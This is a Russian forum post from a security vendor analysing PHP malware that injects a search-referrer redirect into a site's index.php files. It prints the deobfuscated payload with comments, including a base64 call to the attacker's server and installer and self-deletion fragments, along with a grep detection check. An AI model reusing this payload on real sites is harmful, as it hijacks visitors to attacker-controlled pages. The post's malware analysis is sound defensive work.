Вскрываем вредную картинку - разбор обнаруженного вируса

Установка, ошибки при работе с модулями, интеграции и прочее
Аватара пользователя
Messor
Сообщения: 3
Зарегистрирован: 21.04.2022
Мои дополнения: messor

Вскрываем вредную картинку - разбор обнаруженного вируса

Непрочитанное сообщение Messor »

Один из пользователей чата пожаловался на взлом своего сайта, он прикрепил файл который обнаружил у себя на сервере images.php
Компания Messor.Network провела анализ данного файла .

Вкратце
Этот скрипт внедряет в файлы index.php код из переменной.
Данный код определяет если пользователь не бот и пришел из поисковой системы с сервера злоумышленника запрашивается актуальный url на который перенаправляется посетитель.

Таким образом пользователи которые будут нажимать на ссылку на ваш сайт из поисковой выдачи будут попадать на сайт злоумышленника через редирект

Итак тушку на стол приступим к вскрытию!
Первое что бросается в глаза это неумелая попытка спрятать код в base64.
Также явно уровень разработчика писавшего этот код очень низкий это можно понять по дублирования кода в половине скрипта.
Разработчик явно не освоил циклы поэтому просто копирует код и меняет в нем параметры вместо того чтобы оптимизировать в виде цикла,
вложенный поиск файлов сделан без рекурсии ищет не более чем на две директории в глубину.
Однако вторая часть кода которая внедряется в файлы выполнена гораздо лучше тут мы также наблюдаем обфускацию переменных, сжатие скрипта в 1 строку и попытка спрятать строки в base64 и также наличие заголовков отключающие вывод ошибок и устанавливают бесконечное время выполнения скрипта.
Из чего можно сделать вывод что код писался разными людьми.
Первая часть кода назовем ее установщик ее задача распаковать и внедрить код
Вторая часть кода при запуске определяет что пользователь пришел из поисковых систем и не является ботом.
Если все условия выполнены скрипт обращается к серверу злоумышленника и получает актуальный урл для редиректа пользователя.
Адрес для редиректа сохраняется в файле на сервере и обновляется раз в 12 секунд.

При вскрытии обнаружили урл (http://w**********.**/) по которому скрипт получает актуальные ссылки для редиректа судя по всему там установлена ТДС с ротатором доменов
Мы запустили скрипт для сбора и сохранения url используемых для редиректа чтобы можно было продолжить расследование
Мы не стали публиковать адреса серверов злоумышленников - пытливый читатель сам сможет их найти в коде ;)


Как проверить что вы не подверглись заражению
Вот простая команда для поиска зараженных файлов по сигнатуре которую нам заботливо оставил авто этого зловреда
Команда для linux запускать из корневой директории сайта

Код: Выделить всё

grep -i 'GA_r' ./* -R
Если команда выдала список файлов значит вы подверглись заражению
Или используйте наше расширение Messor там есть антивирус и контроль изменения файлов

Как это могло случится
Судя по тому что скрипт не был удален автоматически после запуска то есть 2 варианта скрипт не запускали или скрипту на хватило прав на самоуничтожение
Так как пользователь жаловался на работу сайта то скрипт скорей всего все таки сработал из чего следует что у скрипта не хватило прав на уничтожения себя
значит его загрузили не используя php пострадавший сказал что использовал доступ к сайту по SFTP из чего следует что причину нужно искать на ПК пострадавшего скорей всего у него трояны/стилер о чем мы его уведомили

Как защититься
Описать все что нужно сделать для безопасности сайта это явно не одна статья но для начала вы можете:
Не забывайте обновлять ПО в том числе антивирусы
Используйте защиту для вашего сайта например наш модуль


Продолжение ?
Если вам было интересно и вы хотите чтобы мы продолжили расследование по этой зловредной компании пишите комментарии ставьте плюсы.


Итак полный отчет по вскрытию:
Спойлер

Первые строки содержат запакованный код
$dat=base64_decode('PD9waHAN...............XQ7fQ');
Содержимое $dat с моими комментариями
Спойлер

Код: Выделить всё

<?php
error_reporting(0);
set_time_limit(0);
$jykdvn_18389a4a=$_SERVER[base64_decode('SFRUUF9SRUZFUkVS')]; // HTTP_REFERER
$akztzs_4658442e=$_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')]; // HTTP_USER_AGENT
//.aol.|.astronaut.at|.austronaut.at|.dastelefonbuch.de|.exalead.|.excite.|.sm.cn|.zoek.nl|1.cz|1881.no|2gis.ru|Keywords|Sozluk.com|abacho.|abcsolk.no|acoon.de|alexa.com|aliceadsl.fr|all.by|alltheweb.com|altavista.|amazon.com|apollo.lv/portal/search/|apollo7.de|apontador.com.br|arama.com|arcor.de|ariadna.elmundo.es|arianna.com|ask.|askkids.com|badoo.com|baidu.com|be-fr.altavista.com|be-nl.altavista.com|bebo.com|bing.com|bingj.com|blackplanet.com|blekko.com|blogdigger.com|blogpulse.com|blogs.icerocket.com|busca.orange.es|busca.uol.com.br|buscador.terra|buzznet.com|centrum.cz|cercato.it|charter.net|class.hit-parade.com|classmates.com|clusty.com|cnn.com|crawler.com|cuil.com|darkoogle.com|dasoertliche.de|delicious.com|digg.com|disq.us|disqus.com|dizionario.it.msn.com|dmoz.org|dogpile.com|donanimhaber.com|douban.com|duckduckgo.com|ecosia.org|eniro.se|eo.st|eu.ixquick.com|eurip.com|euroseek.com|everyclick.com|facebook.|fastweb.it|fb.me|find.tdc.dk|finderoo.com|fireball.de|firstsfind.com|fixsuche.de|flickr.com|flix.de|flixster.com|forestle.mobi|forestle.org|forums.whirlpool.net.au|fotolog.com|foursquare.com|fr2.rpmfind.net|francite.com|fresh-weather.com|friendfeed.com|friendsreunited.com|friendster.com|gaiaonline.com|gais.cs.ccu.edu.tw|geni.com|geona.net|getpocket.com|gigablast.com|github.com|global.cyworld.com|gnadenmeer.de|go.mail.ru|gomeo.com|google.|googleearth.|googleusercontent.com|goyellow.de|gulesider.no|habbo.com|hi5.com|highbeam.com|hit-parade.com|hledani.tiscali.cz|hocam.com|holmes.ge|hooseek.com|hotbot.com|hyves.nl|icq.com|identi.ca|ilse.nl|inbox.com|inci.sozlukspot.com|incisozluk.cc|incisozluk.com|incredimail.|infospace.com|instagram.|instela.com|itusozluk.com|ixquick.com|ixquick.de|jungle-spider.de|junglekey.|jyxo.1188.cz|kataweb.it|kununu.com|kvasir.no|lastfm.ru|latne.lv|lemoteur.|libero.it|link.2gis.ru|linkedin.com|listings.altavista.com|live.com|liveinternet.ru|livejournal.ru|lnkd.in|lo.st|looksmart.com|lycos.com|maailm.com|mail.ru|mamma.com|mamma75.mamma.com|marktplaats.nl|meinestadt.de|meta.rrzn.uni-han
$aytwza_06a943c5=base64_decode('LmFvbC58LmFzdHJvbmF1dC5hdHwuYXVzdHJvbmF1dC5hdHwuZGFzdGVsZWZvbmJ1Y2guZGV8LmV4YWxlYWQufC5leGNpdGUufC5zbS5jbnwuem9lay5ubHwxLmN6fDE4ODEubm98Mmdpcy5ydXxLZXl3b3Jkc3xTb3psdWsuY29tfGFiYWNoby58YWJjc29say5ub3xhY29vbi5kZXxhbGV4YS5jb218YWxpY2VhZHNsLmZyfGFsbC5ieXxhbGx0aGV3ZWIuY29tfGFsdGF2aXN0YS58YW1hem9uLmNvbXxhcG9sbG8ubHYvcG9ydGFsL3NlYXJjaC98YXBvbGxvNy5kZXxhcG9udGFkb3IuY29tLmJyfGFyYW1hLmNvbXxhcmNvci5kZXxhcmlhZG5hLmVsbXVuZG8uZXN8YXJpYW5uYS5jb218YXNrLnxhc2traWRzLmNvbXxiYWRvby5jb218YmFpZHUuY29tfGJlLWZyLmFsdGF2aXN0YS5jb218YmUtbmwuYWx0YXZpc3RhLmNvbXxiZWJvLmNvbXxiaW5nLmNvbXxiaW5nai5jb218YmxhY2twbGFuZXQuY29tfGJsZWtrby5jb218YmxvZ2RpZ2dlci5jb218YmxvZ3B1bHNlLmNvbXxibG9ncy5pY2Vyb2NrZXQuY29tfGJ1c2NhLm9yYW5nZS5lc3xidXNjYS51b2wuY29tLmJyfGJ1c2NhZG9yLnRlcnJhfGJ1enpuZXQuY29tfGNlbnRydW0uY3p8Y2VyY2F0by5pdHxjaGFydGVyLm5ldHxjbGFzcy5oaXQtcGFyYWRlLmNvbXxjbGFzc21hdGVzLmNvbXxjbHVzdHkuY29tfGNubi5jb218Y3Jhd2xlci5jb218Y3VpbC5jb218ZGFya29vZ2xlLmNvbXxkYXNvZXJ0bGljaGUuZGV8ZGVsaWNpb3VzLmNvbXxkaWdnLmNvbXxkaXNxLnVzfGRpc3F1cy5jb218ZGl6aW9uYXJpby5pdC5tc24uY29tfGRtb3oub3JnfGRvZ3BpbGUuY29tfGRvbmFuaW1oYWJlci5jb218ZG91YmFuLmNvbXxkdWNrZHVja2dvLmNvbXxlY29zaWEub3JnfGVuaXJvLnNlfGVvLnN0fGV1Lml4cXVpY2suY29tfGV1cmlwLmNvbXxldXJvc2Vlay5jb218ZXZlcnljbGljay5jb218ZmFjZWJvb2sufGZhc3R3ZWIuaXR8ZmIubWV8ZmluZC50ZGMuZGt8ZmluZGVyb28uY29tfGZpcmViYWxsLmRlfGZpcnN0c2ZpbmQuY29tfGZpeHN1Y2hlLmRlfGZsaWNrci5jb218ZmxpeC5kZXxmbGl4c3Rlci5jb218Zm9yZXN0bGUubW9iaXxmb3Jlc3RsZS5vcmd8Zm9ydW1zLndoaXJscG9vbC5uZXQuYXV8Zm90b2xvZy5jb218Zm91cnNxdWFyZS5jb218ZnIyLnJwbWZpbmQubmV0fGZyYW5jaXRlLmNvbXxmcmVzaC13ZWF0aGVyLmNvbXxmcmllbmRmZWVkLmNvbXxmcmllbmRzcmV1bml0ZWQuY29tfGZyaWVuZHN0ZXIuY29tfGdhaWFvbmxpbmUuY29tfGdhaXMuY3MuY2N1LmVkdS50d3xnZW5pLmNvbXxnZW9uYS5uZXR8Z2V0cG9ja2V0LmNvbXxnaWdhYmxhc3QuY29tfGdpdGh1Yi5jb218Z2xvYmFsLmN5d29ybGQuY29tfGduYWRlbm1lZXIuZGV8Z28ubWFpbC5ydXxnb21lby5jb218Z29vZ2xlLnxnb29nbGVlYXJ0aC58Z29vZ2xldXNlcmNvbnRlbnQuY29tfGdveWVsbG93LmRlfGd1bGVzaWRlci5ub3xoYWJiby5jb218aGk1LmNvbXxoaWdoYmVhbS5jb218aGl0LXBhcmFkZS5jb218aGxlZGFuaS50aXNjYWxpLmN6fGhvY2FtLmNvbXxob2xtZXMuZ2V8aG9vc2Vlay5jb218aG90Ym90LmNvbXxoeXZlcy5ubHxpY3EuY29tfGlkZW50aS5jYXxpbHNlLm5sfGluYm94LmNvbXxpbmNpLnNvemx1a3Nwb3QuY29tfGluY2lzb3psdWsuY2N8aW5jaXNvemx1ay5jb218aW5jcmVkaW1haWwufGluZm9zcGFjZS5jb218aW5zdGFncmFtLnxpbnN0ZWxhLmNvbXxpdHVzb3psdWsuY29tfGl4cXVpY2suY29tfGl4cXVpY2suZGV8anVuZ2xlLXNwaWRlci5kZXxqdW5nbGVrZXkufGp5eG8uMTE4OC5jenxrYXRhd2ViLml0fGt1bnVudS5jb218a3Zhc2lyLm5vfGxhc3RmbS5ydXxsYXRuZS5sdnxsZW1vdGV1ci58bGliZXJvLml0fGxpbmsuMmdpcy5ydXxsaW5rZWRpbi5jb218bGlzdGluZ3MuYWx0YXZpc3RhLmNvbXxsaXZlLmNvbXxsaXZlaW50ZXJuZXQucnV8bGl2ZWpvdXJuYWwucnV8bG5rZC5pbnxsby5zdHxsb29rc21hcnQuY29tfGx5Y29zLmNvbXxtYWFpbG0uY29tfG1haWwucnV8bWFtbWEuY29tfG1hbW1hNzUubWFtbWEuY29tfG1hcmt0cGxhYXRzLm5sfG1laW5lc3RhZHQuZGV8bWV0YS5ycnpuLnVuaS1oYW5ub3Zlci5kZXxtZXRhLnVhfG1ldGFjcmF3bGVyLnxtZXRhZ2VyLmRlfG1ldGFnZXIyLmRlfG1pc3Rlci13b25nLnxtaXhpLmpwfG1vaWtydWcucnV8bW9uc3RlcmNyYXdsZXIuY29tfG1vemJvdC58bXNuYmMubXNuLmNvbXxtdWx0aXBseS5jb218bXkubWFpbC5ydXxteWhlcml0YWdlLmNvbXxteWxpZmUucnV8bXlzcGFjZS5jb218bXl5ZWFyYm9vay5jb218bmFqZGkuc2l8bmV0aS5lZXxuZXRsb2cuY29tfG5ld3MueWNvbWJpbmF0b3IuY29tfG5pZ21hLnJ1fG5rLnBsfG5vdmEucmFtYmxlci5ydXxvZG5va2xhc3NuaWtpLnJ1fG9rLnJ1fG9ubGluZS5ub3xvcmt1dC5jb218b3RzaW5nLmRlbGZpLmVlfHBhcGVyLmxpfHBhcGVyYmFsbC5kZXxwZXNxdWlzYS58cGludGVyZXN0LmNvbXxwbGF4by5jb218cGxhem9vLmNvbXxwb2lzay5ydXxwcmljZXJ1bm5lci5jby51a3xxYnlyZC5jb218cXVhbGlnby58cXVhcmsuc20uY258cXVvcmEuY29tfHF3YW50LmNvbXxxem9uZS5xcS5jb218cmVkZGl0LmNvbXxyZW5yZW4uY29tfHJlcS4taGl0LXBhcmFkZS5jb218cnBtZmluZC5uZXR8c2VhcmNoLWR5bi50aXNjYWxpLml0fHNlYXJjaC1pbnRsLm5ldHNjYXBlLmNvbXxzZWFyY2gtcmVzdWx0cy5jb218c2VhcmNoLnxzZWFyY2gxLTEuZnJlZS5mcnxzZWFyY2gxLTIuZnJlZS5mcnxzZWFyY2hhbG90LmNvbXxzZWFyY2hhdGxhcy5jZW50cnVtLmN6fHNlYXJjaGNhbnZhcy5jb218c2VhcmNoZXMuZ2xvYm9zb3NvLmNvbXxzZWFyY2hyZXN1bHRzLnZlcml6b24uY29tfHNlYXJjaHRoaXMuY29tfHNlYXJjaHkuY28udWt8c2VyYWNoLmNvbWNhc3QubmV0fHNoYXJlbG9vay5mcnxza3luZXQuYmV8c2t5cm9jay5jb218c20uYXBvcnQucnV8c21hcnQuZGVsZmkubHZ8c28uMzYwLmNufHNvLmNvbXxzby5tLnNtLmNufHNvbmljby5jb218c29zby5jb218c29zb2Rlc2t0b3AuY29tfHNvdWdvdS5jb218c291cmNlZm9yZ2UubmV0fHNvdXJ0aW1lcy5vcmd8c3RhY2tvdmVyZmxvdy5jb218c3RhcnQuZmFjZW1vb2RzLmNvbXxzdGFydC5pcGxheS5jb218c3RhcnRzaWRlbi5ub3xzdHVkaXZ6Lm5ldHxzdHVtYmxldXBvbi5jb218c3VjaGUuYW9sc3ZjLmRlfHN1Y2hlLmZyZWVuZXQuZGV8c3VjaGUuZ214Lm5ldHxzdWNoZS5pbmZvfHN1Y2hlLndlYi5kZXxzdWNobWFzY2hpbmUuY29tfHN1Y2huYXNlLmRlfHN6dWthai5vbmV0LnBsfHN6dWthai53cC5wbHx0LW9ubGluZS5kZXx0LnVtYmxyLmNvbXx0YWdnZWQuY29tfHRhbGt0YWxrLmNvLnVrfHRhcmluZ2EubmV0fHRlY2hub3JhdGkuY29tfHRlb21hLmNvbXx0aXh1bWEuZGV8dG9pbGUuY29tfHRvb2xiYXJob21lLmNvbXx0cm91dmV6LmNvbXx0cm92YXJhcGlkby5jb218dHVlbnRpLmNvbXx0dW1ibHIuY29tfHR3aW5nbHkuY29tfHR3aXR0ZXIuY29tfHVsdWRhZ3Nvemx1ay5jb218dWx1c296bHVrLmNvbXx1cmwub3JnfHVzLml4cXVpY2suY29tfHZlcmRlbi5hYmNzb2subm98dmlhZGVvLmNvbXx2aW1lby5jb218dmluZGVuLm5sfHZpbmRleC5ubHx2aXJnaWxpby5pdHx2ay5jb218dmtvbnRha3RlLnJ1fHZrcnVndWRydXplaS5ydXx2c2hhcmUudG9vbGJhcmhvbWUuY29tfHdhbGhlbGxvLnx3YXluLmNvbXx3ZWIuY2Fub2UuY2F8d2ViLmdvdWdvdS5jb218d2ViLm5sfHdlYi5za3lwZS5jb218d2ViLnRvaWxlLmNvbXx3ZWIudm9sbnkuY3p8d2ViLndoYXRzYXBwLmNvbXx3ZWJjcmF3bGVyLmNvbXx3ZWJmZXRjaC5jb218d2Vib3JhbWEuY29tfHdlZXdvcmxkLmNvbXx3ZWliby5jb218d2l0Y2guZGV8eC1yZWNoZXJjaGUuY29tfHhhbmdhLmNvbXx4aW5nLmNvbXx5YWhvby58eWFuZGV4Lnx5YXNuaS58eWF0ZWRvLnx5b3Vnb28uZnJ8eW91dHUuYmV8eW91dHViZS5jb218eXMubWlyb3N0YXJ0LmNvbXx5ei5tLnNtLmNufHphcG1ldGEufHpob25nc291LmNvbXx6b2VrZW4ubmx8em9vaG9vLmN6');

$dttzdd_f45ccf25=base64_decode('QWJvbnRpfGFnZ3JlZ2F0b3J8QWhyZWZzQm90fEFwb3J0fGFzdGVyaWFzfEJhaWR1c3BpZGVyfGJpbmdib3R8YmluYW5jZXxCYWNrdXBMYW5kfEJhcmtyb3dsZXJ8QkRDYm90fEJpcnVib3R8QkxFWEJvdHxCVWJpTkd8QnVpbHRCb3RUb3VnaHxCdWxsc2V5ZXxCdW5ueVNsaXBwZXJzfEJ1dHRlcmZseXxDYW1vbnRTcGlkZXJ8Q0NCb3R8Q2VnYmZlaWVofENoZWVzZUJvdHxDaGVycnlQaWNrZXJ8Y29jY29jfENvcHlSaWdodENoZWNrfGNvc21vc3xjcmF3bGVyfENyZXNjZW50fEN5b3Rla1dlYkNvcHl8Q3lvdGVrSFRUUHxEYXRhRm9yU2VvQm90fERldVN1fGRpc2NvYm90fERpdHRvU3B5ZGVyfERueXpCb3R8RG9tYWluQ3Jhd2xlcnxEb3RCb3R8RG93bmxvYWROaW5qYXxkY3Jhd2x8RWFzb3VTcGlkZXJ8RW1haWxDb2xsZWN0b3J8RW1haWxTaXBob258RW1haWxXb2xmfEVyb0NyYXdsZXJ8RXhhYm90fEV4dHJhY3RvclByb3xFem9vbXN8ZmFjZWJvb2tleHRlcm5hbGhpdHxGYWlyU2hhcmV8RmFzdGVyZm94fEZlZWRCb29zdGVyfEZvb2JvdHxHZW5pZW98R2V0SW50ZW50Q3Jhd2xlcnxHaWdhYm90fEdyYXBlc2hvdENyYXdsZXJ8R28taHR0cC1jbGllbnR8SGFydmVzdHxobG9hZGVyfEhUVHJhY2t8aHVtYW5saW5rc3xIeWJyaWRCb3R8aWVhdXRvZGlzY292ZXJ5fEluY3V0aW98SW5mb05hdmlSb2JvdHxJbnRlcm5ldFNlZXJ8aXBzLWFnZW50fElzdGVsbGFCb3R8SmFtZXNCT1R8SmVubnlCb3R8SlMtS2l0fEpvb2JsZWJvdHxrMnNwaWRlcnxLZW5qaW58a21TZWFyY2hCb3R8bGFyYmlufExleGlCb3R8TGluZ3VlZXxMaW5rRXhjaGFuZ2VyfExpbmtleHRyYWN0b3JQcm98bGlua298TGlua1dhbGtlcnxMaW5rcGFkQm90fGxtc3BpZGVyfExOU3BpZGVyZ3V5fGx0eDcxfGx3cC10cml2aWFsfE1haWwuUlVfQm90fG1hZ3BpZXxNYXRhSGFyaXxNYXhQb2ludENyYXdsZXJ8TWVnYUluZGV4fG1lbW9yeUJvdHxNSUl4cGN8TWlwcGlufE1pc3RlclBpWHxNSjEyYm90fE1MQm90fG1vZ2V0fE1TSUVDcmF3bGVyfG1zbmJvdHxtc25ib3QtbWVkaWF8TmV0QW50c3xOZXRjcmFmdFN1cnZleUFnZW50fE5JQ0Vyc1BST3xOanVpY2VCb3R8TlBCb3R8TnV0Y2h8T2ZmbGluZUV4cGxvcmVyfE9MRWNyYXdsZXJ8T3BlbmZpbmR8b3BlbnN0YXQucnV8cGFuc2NpZW50fFBvc3RSYW5rfFBldGFsQm90fFByb1dlYldhbGtlcnxwdGQtY3Jhd2xlcnxQdXJlYm90fFB5Y1VSTHxRdWVyeU5NZXRhc2VhcmNofFJlcG9Nb25rZXl8UmlkZGxlcnxSTUF8U2NyYXB5fFNlbXJ1c2hCb3R8c2VyZnxTZXpuYW1Cb3R8U0lTVFJJWHxTaXRlQm90fFNpdGVTbmFnZ2VyfFNlcnBzdGF0fFNsdXJwfFNuYXBQcmV2aWV3Qm90fFNvZ291fFNvdXB8U3BhbmtCb3R8c3Bhbm5lcnxzcGJvdHxTcGlubjNyfFNweUZ1fHN0YXRkb20ucnV8U3B1dG5pa0JvdHxzdWdneWJvdHxTdXJ2ZXlCb3R8c3V6dXJhbnxUZWxlcG9ydHxUZWxlc29mdHxUaGVJbnRyYWZvcm1hbnR8VGhlTm9tYWR8VGlnaHRUd2F0Qm90fFRpdGFufFRydWVfUm9ib3R8dHRDcmF3bGVyfHR1cmluZ29zfFR1cm5pdGluQm90fFRPQkJPVHxVYmlDcmF3bGVyfFVuaXN0ZXJCb3R8VVJMeVdhcm5pbmd8VkNJfFZlZG1hfFZveWFnZXJ8V0JTZWFyY2hCb3R8V2ViQXV0b3xXZWJCYW5kaXR8V2ViRGF0YVN0YXRzfFdlYkNvcGllcnxXZWJFbmhhbmNlcnxXZWJtYXN0ZXJXb3JsZEZvcnVtQm90fFdlYlJlYXBlcnx3ZWJwcm9zYm90fFdlYlNhdWdlcnxXZWJTdHJpcHBlcnxXZWJaaXB8V290Ym94fFlvdHRvc0JvdHxZZXRpfFlhbmRleEZhdmljb25zfFphb3xaZXVzfFp5Qk9SR3xweXRob25cLXJlcXVlc3RzfEFMaXR0bGVcIENsaWVudHxBcGFjaGVcLUh0dHBDbGllbnQ=');
//Abonti|aggregator|AhrefsBot|Aport|asterias|Baiduspider|bingbot|binance|BackupLand|Barkrowler|BDCbot|Birubot|BLEXBot|BUbiNG|BuiltBotTough|Bullseye|BunnySlippers|Butterfly|CamontSpider|CCBot|Cegbfeieh|CheeseBot|CherryPicker|coccoc|CopyRightCheck|cosmos|crawler|Crescent|CyotekWebCopy|CyotekHTTP|DataForSeoBot|DeuSu|discobot|DittoSpyder|DnyzBot|DomainCrawler|DotBot|DownloadNinja|dcrawl|EasouSpider|EmailCollector|EmailSiphon|EmailWolf|EroCrawler|Exabot|ExtractorPro|Ezooms|facebookexternalhit|FairShare|Fasterfox|FeedBooster|Foobot|Genieo|GetIntentCrawler|Gigabot|GrapeshotCrawler|Go-http-client|Harvest|hloader|HTTrack|humanlinks|HybridBot|ieautodiscovery|Incutio|InfoNaviRobot|InternetSeer|ips-agent|IstellaBot|JamesBOT|JennyBot|JS-Kit|Jooblebot|k2spider|Kenjin|kmSearchBot|larbin|LexiBot|Linguee|LinkExchanger|LinkextractorPro|linko|LinkWalker|LinkpadBot|lmspider|LNSpiderguy|ltx71|lwp-trivial|Mail.RU_Bot|magpie|MataHari|MaxPointCrawler|MegaIndex|memoryBot|MIIxpc|Mippin|MisterPiX|MJ12bot|MLBot|moget|MSIECrawler|msnbot|msnbot-media|NetAnts|NetcraftSurveyAgent|NICErsPRO|NjuiceBot|NPBot|Nutch|OfflineExplorer|OLEcrawler|Openfind|openstat.ru|panscient|PostRank|PetalBot|ProWebWalker|ptd-crawler|Purebot|PycURL|QueryNMetasearch|RepoMonkey|Riddler|RMA|Scrapy|SemrushBot|serf|SeznamBot|SISTRIX|SiteBot|SiteSnagger|Serpstat|Slurp|SnapPreviewBot|Sogou|Soup|SpankBot|spanner|spbot|Spinn3r|SpyFu|statdom.ru|SputnikBot|suggybot|SurveyBot|suzuran|Teleport|Telesoft|TheIntraformant|TheNomad|TightTwatBot|Titan|True_Robot|ttCrawler|turingos|TurnitinBot|TOBBOT|UbiCrawler|UnisterBot|URLyWarning|VCI|Vedma|Voyager|WBSearchBot|WebAuto|WebBandit|WebDataStats|WebCopier|WebEnhancer|WebmasterWorldForumBot|WebReaper|webprosbot|WebSauger|WebStripper|WebZip|Wotbox|YottosBot|Yeti|YandexFavicons|Zao|Zeus|ZyBORG|python\-requests|ALittle\ Client|Apache\-HttpClient
$hdabtf_ea2b2676=true; // false - is bot
$reavsn_5cd09651=false; // true переход из поисковых систем
$ndznea_1cdbdf89=explode(base64_decode('fA=='),$dttzdd_f45ccf25); // fA== -> |
foreach($ndznea_1cdbdf89 as $gczbvt_22a19cfd){ // проверка бот ли это
	if(strpos($akztzs_4658442e,$gczbvt_22a19cfd)!==FALSE){  // HTTP_USER_AGENT
    	setcookie(base64_decode('R0Ffcg=='),1,time()+259200,base64_decode('Lw==')); // R0Ffcg== -> GA_r Lw== -> /
    	$hdabtf_ea2b2676=false;
    	break;
	}
};

$ndznea_1cdbdf89=explode(base64_decode('fA=='),$aytwza_06a943c5); // fA== -> |

foreach($ndznea_1cdbdf89 as $gczbvt_22a19cfd){ // проверка это переход из поисковика
	if(strpos($jykdvn_18389a4a,$gczbvt_22a19cfd)!==FALSE){ //HTTP_REFERER
    	$reavsn_5cd09651=true;
    	break;
	}
};
// нет cookie не бот пришол из поисковых систем
if(!$_COOKIE[base64_decode('R0Ffcg==')]&&$hdabtf_ea2b2676===true&&$reavsn_5cd09651===true){ // R0Ffcg== -> GA_r
	$gkgwlm_435ed7e9=md5(base64_decode('aW5kZXgucGhw')); // aW5kZXgucGhw -> index.php
	$bnhrxm_d6fe1d0b=dirname(__FILE__);
	if(file_exists($bnhrxm_d6fe1d0b.base64_decode('Lw==').$gkgwlm_435ed7e9)){ //  dirname(__FILE__)/index.php
    	$mpjpbg_2c127bf3=filemtime($bnhrxm_d6fe1d0b.base64_decode('Lw==').$gkgwlm_435ed7e9); // dirname(__FILE__)/md5(index.php)
	}else{
    	$mpjpbg_2c127bf3=time()-130;
	}
	$tdgsfi_9b207167='';
    
	if(time()-120>=$mpjpbg_2c127bf3){ // болиее 2 минут после последнего изменения файла
    	if(function_exists(base64_decode('Y3VybF92ZXJzaW9u'))){ // Y3VybF92ZXJzaW9u -> curl_version
    	$vmkybd_f6e57c9d=curl_init();
    	curl_setopt($vmkybd_f6e57c9d,CURLOPT_RETURNTRANSFER,true);
    	curl_setopt($vmkybd_f6e57c9d,CURLOPT_URL,base64_decode('aHR0cDovL3dwaW5nZm9ydC5zaG9wLw==')); //aHR0cDovL3dwaW5nZm9ydC5zaG9wLw== -> http://wp****rt.shop/
    	curl_setopt($vmkybd_f6e57c9d,CURLOPT_TIMEOUT,6);
    	$tdgsfi_9b207167=curl_exec($vmkybd_f6e57c9d);
    	curl_close($vmkybd_f6e57c9d);
    	}
    	if($tdgsfi_9b207167==''){
        	$tdgsfi_9b207167=file_get_contents(base64_decode('aHR0cDovL3dwaW5nZm9ydC5zaG9wLw==')); //aHR0cDovL3dwaW5nZm9ydC5zaG9wLw== -> http://wp****rt.shop/
    	}
    	file_put_contents($bnhrxm_d6fe1d0b.base64_decode('Lw==').$gkgwlm_435ed7e9,$tdgsfi_9b207167);// dirname(__FILE__) / md5(index.php)  
	}else{
        	$tdgsfi_9b207167=file_get_contents($bnhrxm_d6fe1d0b.base64_decode('Lw==').$gkgwlm_435ed7e9);
	}
	setcookie(base64_decode('R0Ffcg=='),1,time()+259200,base64_decode('Lw==')); // Lw== -> /
	header(base64_decode('TG9jYXRpb246IA==').$tdgsfi_9b207167); //TG9jYXRpb246IA== -> Location:
	exit;
	}






$nedrep=base64_decode('PD9waHANCmVycm9yX3JlcG9ydGluZygwKTtzZXRfdGltZV9saW1pdCgwKTs');
Содержимое $nedrep

Код: Выделить всё

error_reporting(0);set_time_limit(0);


Далее определение текущего пути

Код: Выделить всё

$path = dirname(__FILE__);
$patharr = explode('/',$path);
$patharr = array_pop($patharr);

Строка 7 если в пути содержится admin (запуск произведен из директории администратора) то выполняется часть кода ниже

Код: Выделить всё

if(strpos($path, 'admin') !== false){

Далее проверяем есть ли файл index.php на папку выше то есть в корневой папке сайта

Код: Выделить всё

if(file_exists($path.'/../index.php')){

Затем получаем содержимое файла index.php

Код: Выделить всё

$res=file_get_contents($path.'/../index.php');

првереям на наличие в тексте файла COOKIE["GA_r"]

Код: Выделить всё

if(strpos($res,'COOKIE["GA_r"]') === false){

Дальше дополнительно проверяется наличие в тексте файла <?php и отсуствие R0Ffcg==

Код: Выделить всё

if(strpos($res,'<?php') !== false && strpos($res,'R0Ffcg==') === false){

Если условия соблюдены то скрипты пытается записать в начала файла index.php после открывающего тэга <?php контент из переменной $dat различными методами пытаясь предварительно сменить права

Код: Выделить всё

(chmod($path.'/../index.php',0755);)

Строка 41 если в пути не содержится admin проводятся те же манипуляции по внедрению кода в index.php меняется только путь

Код: Выделить всё

} else {

Начиная с 75 строки проверяем все под директории на наличие файлов index.php

Код: Выделить всё

$path = implode('/',$patharr);
$result=array();
$files=array();
$files=scandir($path.'/');
foreach ($files as $value){
    if (!in_array($value,array(".",".."))){
   	 if (is_dir($path.'/'.$value)){
   		 $result[]=$path.'/'.$value;
   	 }
    }
}
Затем с этими файлами проводятся те же манипуляции что и ранее по внедрению кода в найденные файлы index.php

По выполнению скрипт должен был самоуничтожится по задумке автора.

Код: Выделить всё

file_put_contents(__FILE__,'');
unlink(__FILE__);




images.zip
images.php source file
(7.7 КБ) 64 скачивания
 
Ответить